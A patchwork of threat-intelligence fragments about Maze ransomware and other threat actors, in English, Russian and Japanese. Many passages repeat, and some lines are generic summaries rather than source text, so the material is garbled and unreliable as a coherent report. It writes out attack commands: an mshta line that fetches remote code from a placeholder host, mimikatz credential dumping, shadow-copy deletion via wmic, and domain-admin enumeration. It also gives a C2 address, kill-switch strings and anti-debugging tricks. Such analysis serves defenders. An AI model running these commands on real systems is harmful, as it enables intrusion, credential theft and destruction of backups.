Maze

some ransomware gangs are now cold-calling victims on their phones if they suspect that a hacked company might try to restore from backups and avoid paying ransom demands.

These ransomware strains include both exclusively managed ransomware and RaaS (Ransomware-as-a-Service) type, which involves cooperating with initial access brokers for initiating attacks and affiliates for performing them.

Ransomware attackers often rely on third parties for tools like bulletproof hosting, penetration testing services, or access to vulnerabilities in victims’ networks.

TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133

This means it is leveraged post initial access phase, frequently reported to be through RDP[5,6].

Посетители этого сайта будут перенаправлены на специальную страницу, начиненную наборов эксплойтов, которые срабатывают при определенных условиях.

感染経路としてはこれまでにスパムメールへの添付や脆弱性の利用、ネットワーク侵入などの経路が確認されています。

Maze mentioned that its member breached SEI Investments company using information previously stolen from BHiveLab and M.J. Brunner.

感染経路としてはこれまでにスパムメールへの添付や脆弱性の利用、ネットワーク侵入などの経路が確認されています。

These emails include a maliciously crafted document that has been weaponized to deliver a Cobalt Strike (Beacon) payload.

Mazeランサムウェアのメインモジュールはその後、 WMI クエリを使用してボリュームシャドウコピーを削除します。

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

The content repeatedly describes malware and threat actors creating, modifying, or invoking Windows scheduled tasks via Task Scheduler or schtasks for persistence, execution, and lateral movement.

Execution whoami /priv T1059 whoami /groups T1059 klist T1059 net group “Enterprise Admins” /domain T1059 net group “Domain Admins” /domain T1059 mshta http://x.x.x.x/ktfrJ T1059 powershell Find-PSServiceAccounts T1059

Execution (TA0041), T1059.001 Command and Scripting Interpreter: PowerShell: Executes PowerShell code to retrieve information about the client's Active Directory environment.

Many entries mention .bat, .cmd, or batch scripting, such as APT1 using batch scripting to automate execution, APT41 using a batch file for persistence, and numerous malware families executing or downloading batch files. | The content repeatedly describes threat actors and malware using cmd.exe, the Windows command shell, to execute commands, launch payloads, run batch files, and automate actions on compromised hosts.

The content is a MITRE ATT&CK-style listing of many malware families and threat groups using Windows/native OS APIs for execution, injection, discovery, anti-debugging, and other actions, ending with 'NtCreateProcess' and 'fork()'.

При перенаправлении на эксплойт Spelevo будет пытаться использовать уязвимость CVE-2018-15982... После успешной эксплуатации уязвимости набор эксплойта автоматически загрузит и установит пейлоад с Maze Ransomware.

MAZE Group 2 mapping includes “T1204: User Execution,” consistent with users opening malicious attachments/links.

Может также распространяться... с помощью email-спама и вредоносных вложений, обманных загрузок... перепакованных и заражённых инсталляторов.

VirtualProtect を使用して ntdll の DbgUiRemoteBreakin という関数のアドレス帯のアクセス権を PAGE_EXECUTE_READ から PAGE_EXECUTE_READWRITE に変更し、開始アドレスの命令を 0x6C から 0xC3(ret 命令 ) へ 1 バイト書き換えます。

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

The content repeatedly describes malware and threat actors creating, modifying, or invoking Windows scheduled tasks via Task Scheduler or schtasks for persistence, execution, and lateral movement.

TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133

After files have been encrypted and all folders have been processed, the wallpaper is changed to the Maze ransomware message.

This means it is leveraged post initial access phase, frequently reported to be through RDP[5,6].

“An actor created a new domain account and added it to the domain administrators group.” and mapping “T1136: Create Account.”

C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

The content repeatedly describes malware and threat actors establishing persistence by adding values under Registry Run keys such as HKCU\Software\Microsoft\Windows\CurrentVersion\Run and HKLM\Software\Microsoft\Windows\CurrentVersion\Run, and by placing shortcuts or files in Startup folders.

“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”

The content repeatedly describes malware and threat actors creating, modifying, or invoking Windows scheduled tasks via Task Scheduler or schtasks for persistence, execution, and lateral movement.

Aria-body has the ability to inject itself into another process such as rundll32.exe and dllhost.exe... BlackEnergy injects its DLL component into svchost.exe... ComRAT has injected its orchestrator DLL into explorer.exe... Stuxnet injects an entire DLL into an existing, newly created, or preselected trusted process.

The Windows Background Intelligent Transfer Service (BITS) is vulnerable to a privilege elevation vulnerability... An actor can exploit this vulnerability to execute arbitrary code with system-level privileges.

TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133

Privilege Escalation (TA0029), T1484 Group Policy Modification: Force group policy update that creates service to execute ransomware.

C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

The content repeatedly describes malware and threat actors establishing persistence by adding values under Registry Run keys such as HKCU\Software\Microsoft\Windows\CurrentVersion\Run and HKLM\Software\Microsoft\Windows\CurrentVersion\Run, and by placing shortcuts or files in Startup folders.

リソースセクションの画像の後半部分からロードしたデータはまず XOR で復号されます。XORで復号された後のデータは Base64 文字列となっています。

Mazeランサムウェアの EXE ファイルには PNG 画像がリソースセクションに埋め込まれており、メインモジュール (DLL) はその画像の中に多重に暗号化され保存されています。

The first thing the shellcode does is to import two functions: LoadLibraryA and GetProcAddress, using name hashing.

APT-C-36 has used a macro function to set scheduled tasks, disguised as those used by Google.

Aria-body has the ability to inject itself into another process such as rundll32.exe and dllhost.exe... BlackEnergy injects its DLL component into svchost.exe... ComRAT has injected its orchestrator DLL into explorer.exe... Stuxnet injects an entire DLL into an existing, newly created, or preselected trusted process.

Mazeランサムウェアのメインモジュールはその後、 WMI クエリを使用してボリュームシャドウコピーを削除します。これによってシステムの復元によるデータ復旧が行えなくなります。

TTPs Initial Access Bruting T1078 SMB exploitation T1190 RDP T1133

MAZE Group 2 mapping includes “T1140: Deobfuscate/Decode Files or Information.”

MAZE Group 3 mapping includes “T1202: Indirect Command Execution,” and distribution script shows “regsvr32.exe /i …” execution pattern.

This particular campaign includes a signed DLL payload (kepstl32.dll).

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).

Some initial checks are performed before moving forward. Analysis tools are identified by their ADLER-32 checksum on process name, and the following are terminated, if running: ida.exe, ida64.exe, x32dbg.exe, x64dbg.exe, python.exe, fiddler.exe, dumpcap.exe, procmon.exe, procexp.exe, procmon64.exe, procexp64.exe

Mazeランサムウェアには感染を停止させる「キルスイッチ」が2つ存在します。1つ目は、端末内に「 C:\JDUIHiuf\IDisjopjcnb 」というファイルが存在した場合、感染を行わずすぐに終了します。2つ目に用意されているのは、実行引数に「 --DIdsjdjdj 」という文字列が含まれていた場合で、こちらも同様に感染を行わずすぐに終了します。

NtSetEaFile という API を使用して見えないように上記のファイルの NTFS ファイルシステムの拡張ファイル属性( extended file attribute )という隠された領域に中に埋め込んでいます。

VirtualProtect を使用して ntdll の DbgUiRemoteBreakin という関数のアドレス帯のアクセス権を PAGE_EXECUTE_READ から PAGE_EXECUTE_READWRITE に変更し、開始アドレスの命令を 0x6C から 0xC3(ret 命令 ) へ 1 バイト書き換えます。

Mazeランサムウェアは実行されると、最初の EXE がローダーの役割を持ち、内部の画像から抽出してメモリ上に展開した DLL をロードして、メインの不正活動を行っていきます。

Mazeランサムウェアが他のランサムウェアと比較してより特徴的な点として、多数のアンチデバッグテクニックを使用している点が挙げられます。

After files have been encrypted and all folders have been processed, the wallpaper is changed to the Maze ransomware message.

Privilege Escalation (TA0029), T1484 Group Policy Modification: Force group policy update that creates service to execute ransomware.

Also, an important function is disabled, namely DbgUiRemoteBreakin, which is necessary for debugging the process. After the function is located, it is patched with a single RET instruction.

Credential Access mimikatz sekurlsa::logonpasswords T1003, T1055, T1093 hashdump T1003, T1055, T1093

the attackers used RDP to gain access to an internet-facing machine, probably by brute-forcing the Administrator’s password

Изменяет файлы в папке расширения Chrome и читает куки, видимо с целью кражи личных данных.

例えば、ユーザ名が「 Taro 」の場合、以下のようなセリフが合成音声により繰り返し再生されます。 Taro Alert! Taro Alert! Dear Taro Your files have been encrypted by Maze ransomware!

Discovery portscan T1046

以下はプロセス検索を行う際に使用する CreateToolhelp32Snapshot の API を呼び出す際の処理を抜粋していますが、無駄なジャンプを重ね API コールが簡単に見えないようにしています。

上記の通信では、感染端末の環境に関わる情報(コンピュータ名や OS 情報、ネットワーク情報、先ほど取得したアンチウイルス製品情報)が送信されます。

“attempted to find files with the word ‘password’…” and mappings include “T1083: File and Directory Discovery.”

また、 WNetEnumResource などでネットワークリソースを列挙し、ネットワーク共有なども暗号化の対象となります。

Some initial checks are performed before moving forward. Analysis tools are identified by their ADLER-32 checksum on process name, and the following are terminated, if running: ida.exe, ida64.exe, x32dbg.exe, x64dbg.exe, python.exe, fiddler.exe, dumpcap.exe, procmon.exe, procexp.exe, procmon64.exe, procexp64.exe

Mazeランサムウェアには感染を停止させる「キルスイッチ」が2つ存在します。1つ目は、端末内に「 C:\JDUIHiuf\IDisjopjcnb 」というファイルが存在した場合、感染を行わずすぐに終了します。2つ目に用意されているのは、実行引数に「 --DIdsjdjdj 」という文字列が含まれていた場合で、こちらも同様に感染を行わずすぐに終了します。

次に、以下のように WMI クエリを使用して感染端末内にインストールされているアンチウイルス製品の情報を取得します。

Examples include: “Bazar … check if the Russian language is installed … and terminate if it is found.”; “DropBook … checked for the presence of Arabic language …”; “Maze … checked the language … GetUserDefaultUILanguage”; “SynAck … checks installed keyboard layouts to estimate … countries.”

Mazeランサムウェアは、感染端末の言語を取得し、ロシアなどの独立国家共同体 (CIS) の周辺諸国のものであるかどうかをチェックし、該当した場合は感染せずにすぐに終了します。

Mazeランサムウェアが他のランサムウェアと比較してより特徴的な点として、多数のアンチデバッグテクニックを使用している点が挙げられます。

Lateral Movement ... Network shares T1021

the attackers used RDP to gain access to an internet-facing machine, probably by brute-forcing the Administrator’s password

PsExec can also be used for propagation and remote execution of ransomware.

Lateral Movement ... SMB exploitation T1210

We have also downloaded a lot of private data from your network, so in case of not contacting us as soon as possible this data will be released.

When Maze finds backups stored in the cloud, they attempt to obtain the cloud storage credentials and then use them to restore the victim's data to servers under the attacker's control.

We have seen the following outbound connections from this sample: POST http://91.218.114.4/withdrawal/jfmd.do ...

Mazeランサムウェアはロシアに割り当てられている 20 個の IP アドレスに対して、ランダムな文字列の組み合わせで URL を生成して接続を行います。... 上記の通信では、感染端末の環境に関わる情報(コンピュータ名や OS 情報、ネットワーク情報、先ほど取得したアンチウイルス製品情報)が送信されます。

With the Cobalt Strike payloads injected, the cybercriminals can then further traverse the target environment (move laterally) or pull-down additional tools and malware.

To contact us and purchase the key you have to visit our website in a hidden TOR network.

Cobalt Strike can also be used to directly handle the exfiltration tasks as well, although that is not always the case.

there is also functionality to exfiltrate files to remote resources under the attacker’s control.

Stern informed his subordinates that they are primarily looking for chats, contracts, PII, emails and accounting

Mazeランサムウェアを操る攻撃者の大きな特徴は、ランサムウェアによって暗号化を行う前にすでに被害者端末からデータを盗み出しており、身代金支払いの要求に応じない場合はそれらの窃取データを実際に公開するという点です。

Modern ransomware operations also involve data theft... utilizing off-the-shelf file backup tools to do the job.

As 14 ransomware gangs are now stealing data and publishing it in their blogs, we can assume that more ransomware operators will adopt the tactic and will require double ransoms.

As with previous variants of Maze, the trojan will attempt to inhibit recovery by deleting shadow copies via WMIC.exe ( wmic.exe shadowcopy delete )

“Successful data encryption also rose to 56 per cent of attacks” and recovery requires restoring data and systems after ransomware encrypts them.

Mazeランサムウェアのメインモジュールは動作を開始すると、特定のプロセスを強制終了します。

Before enumerating files, any existing Windows backups are destroyed, namely the Volume Shadow Copies.

Maze ランサムウェアはその後、メモリ上で不可視の画像を作成し、上記のように生成した文字列を書き込んだ上で画像をキャプチャし BMP 画像として生成、デスクトップの壁紙に設定します。

The process kill lists were designed to amplify the effects of known ransomware strains.

The Maze ransomware began operating in May 2019 and quickly rose to fame as they were responsible for the use of data theft and double-extortion tactics now used by many ransomware operations.